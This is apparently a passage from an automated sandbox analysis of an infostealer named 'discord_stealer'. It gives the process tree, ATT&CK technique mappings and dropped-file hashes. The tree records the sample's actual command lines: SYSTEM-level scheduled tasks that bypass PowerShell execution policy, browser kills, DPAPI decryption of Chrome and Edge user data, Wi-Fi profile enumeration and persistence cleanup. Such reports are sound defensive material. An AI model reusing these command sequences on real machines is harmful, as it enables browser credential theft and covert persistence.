    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\task.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im chrome.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1788836910345" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1788836910345" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1788836910345""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1788836910345"
      4⤵
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1788836910345" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1788836910345" /f
      4⤵
      PID:1508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1788836916808" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1788836916808" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1788836916808""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1788836916808"
      4⤵
      PID:572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1788836916808" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5696
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1788836916808" /f
      4⤵
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im msedge.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4692
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1508
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836909708\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im firefox.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:2360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4892
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\screenshot.ps1""
    3⤵
    - Executes a command shell one-liner
    PID:6004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\screenshot.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6004

C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe
C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe
  C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe C:\snapshot\tetest\index.js --hidden
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f 2>nul"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f
      4⤵
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\task.xml" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5888
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\task.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im chrome.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1788836912600" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5284
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1788836912600" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1788836912600""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1788836912600"
      4⤵
      PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1788836912600" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:244
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1788836912600" /f
      4⤵
      PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1788836917149" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1788836917149" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1788836917149""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1788836917149"
      4⤵
      PID:5220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1788836917149" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1788836917149" /f
      4⤵
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im msedge.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:4620
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    PID:4164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1788836911805\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im firefox.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:4200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4456
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\screenshot.ps1""
    3⤵
    - Executes a command shell one-liner
    PID:5008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\screenshot.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.cmdline"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESD5F.tmp" "c:\Windows\SystemTemp\uszm5i3a\CSCE0A5646BFA1F481ABCBC996E32A2255C.TMP"
    3⤵
    - Drops file in Windows directory
    PID:1348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836911805\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.cmdline"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESD60.tmp" "c:\Windows\SystemTemp\jeyw5na4\CSC8C79AA67A90D483F8DB1E03F37A19233.TMP"
    3⤵
    - Drops file in Windows directory
    PID:2456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 f2d08d203b14c7b04c51457c288935997a9b6b4798749b26d2ed76f793c9be01
MD5 54c53233026ab406044ca984f7332dea
SHA1 2de7cbe7779615c5b90ab5ed7564ecd81a1a026c
SHA512 c24116c0a6776343a1ca7cd485d6679a0af74e7f48f75762dac9ff2652dc08c7306d2e12a479867e2383a8f77e51589ef2fd5d525f9c15d1c8fe85f1a0aed49a
SSDEEP 1536:zKLg5GYo2hOovpfKQVCYXflJdreY8iFHzwqR40i71Yi9MQyPiMrxKi3jiRjdvRwG:zKLg5GYo2hOovpfKQVCYXflJdiYhFHzG
TLSH
T1E0636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 33209aeab3018a759b3b3e79910241761af29e06bc80c1bceb1dff055ec73b9c
MD5 972fe6a8a1c21cac4e99ad732ef79bdb
SHA1 619a3ea0828fdcf9f378ed20244e83e8750dd1ba
SHA512 dc90f1fd20a8ce2d34d8748d942af8a37ca94dea07f5ba1a9a9a28c8547c362798b683c87f2233ad82e089abacdadbb3cfe80e74090650c713510719e5294d34
TLSH
T147115733B3CC8724DC9A413650CEAC1136B687DB409EDE6BBB84D548B42F299DEA1260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 992B
SHA256 0a772e9c4f6ed2deaa01fd28cb21933d13bb668f9f881ba3fdcca258a8ac0a8f
MD5 69ddfd87e493b0c310a7f58e21aa7853
SHA1 f2e9281945e183173b51177b87a1368167a79afe
SHA512 2351fe386d40565bbf0cc6bf853d2cb6cbec9a509778ab5c03b692436d3f537549b5d6a6d07d07892626ad6963c16a8cf5b2ad784459cff7ec53ac3e8ed53992
TLSH
T1E9115933F3CC4264C85A403A10DEE91136B68BCB409ECE6BBB84C155F86F298CEA0160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 992B
SHA256 4ff20f75015e020069fcda1677894a9491b4e6af941874f4421b2ac60127d98e
MD5 32960c13f71fe6f11b60a77413445006
SHA1 8bc318524eeb6b59b351c770939c23680dfe3272
SHA512 7479bc4062595e157e74a89f9e0a016379f5f23f4b603dd9c3c6d2473f97561580b4d5e1d8b55dd283987e924d75ac741b0bd911da464560a32fd55331adddf3
TLSH
T1A7114C33F3CC4664C85A413610EEE91135A68BCB509ECD6BBB85D155F46F295CEA1060
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0832c1860d87916d8c7dae8d8c5d14318ddabe59a316f2aeb14d89432ef54ec9
MD5 42324c72b74776b8d693694328aed175
SHA1 c699a61b5ddd27a208c8318e81efba02d6e945a0
SHA512 664f81754b0f1688f8f862b64e223c91f76e819af9fffc84fb8e71cd1dfd78e0752a2729f379590bbecd0125b87f317c1bc9315c99f3d21502041a53a007d92d
TLSH
T129215733F3CD8655D889403A50CEAC0032B6D7DB40DECE9BAB84D559B43F699CEA15A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
